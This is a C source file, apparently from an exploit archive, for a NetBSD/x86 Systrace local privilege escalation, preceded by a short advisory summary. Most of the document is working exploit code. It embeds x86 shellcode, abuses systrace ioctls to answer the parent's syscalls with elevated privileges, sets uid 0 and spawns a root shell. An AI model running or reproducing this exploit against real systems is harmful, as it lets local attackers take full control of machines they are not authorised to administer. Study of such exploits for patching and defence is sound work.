// source: https://www.securityfocus.com/bid/10320/info
A vulnerability has been reported that affects Systrace on NetBSD, as well as the FreeBSD port by Vladimir Kotal.
The source of the issue is insufficient access validation when a systraced process is restoring privileges.
This issue can be exploited by a local attacker to gain root privileges on a vulnerable system.
#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/systrace.h>
#define systrace_device "/dev/systrace"
char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
"\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
"\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";
void (*magic)(void) = MAGIC;
int nbsd_systrace_open()
{
int fd;
printf("[+] Connecting to %s... ", systrace_device);
fd = open(systrace_device, O_RDONLY, 0);
if (fd == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
exit(1);
}
printf("done.\n");
return (fd);
}
int nbsd_attach_parent(int fd)
{
pid_t pid = getppid();
printf("[+] Attaching to parent... ");
if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
}
printf("done.\n");
return (0);
}
void nbsd_handle_msg(int fd)
{
struct str_message msg;
struct systrace_answer ans;
int r;
r = read(fd, &msg, sizeof(msg));
if (r != sizeof(msg)) {
exit(1);
}
memset(&ans, 0, sizeof(ans));
ans.stra_pid = msg.msg_pid;
ans.stra_seqnr = msg.msg_seqnr;
ans.stra_policy = SYSTR_POLICY_PERMIT;
ans.stra_flags =
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
ans.stra_error = 0;
ans.stra_seteuid = getuid();
ans.stra_setegid = getgid();
if (ioctl(fd, STRIOCANSWER, &ans) == -1);
}
void doit()
{
int p,f,fd;
fd = nbsd_systrace_open();
f = fork();
if (f == 0) {
sleep(1);
nbsd_attach_parent(fd);
while (1) {
nbsd_handle_msg(fd);
}
exit(1);
}
printf("[+] Doing some magic... ");
sleep(2);
magic();
setuid(0);
setgid(0);
kill(f, 9);
if (getuid() != 0) {
printf("failed.\n");
printf("\nSorry but the exploit failed.");
exit(1);
}
printf("done.\n\n");
system("uname -v");
system("id");
execlp("/bin/sh", "/bin/sh", 0);
}
void banner()
{
printf("NetBSD/x86 systrace local root exploit\n");
printf("by ziegenpeter\n\n");
if (getuid() == 0) {
printf("no comment\n");
exit(1);
}
}
int main(int argc, char **argv)
{
int fd;
banner();
doit();
return (0);
}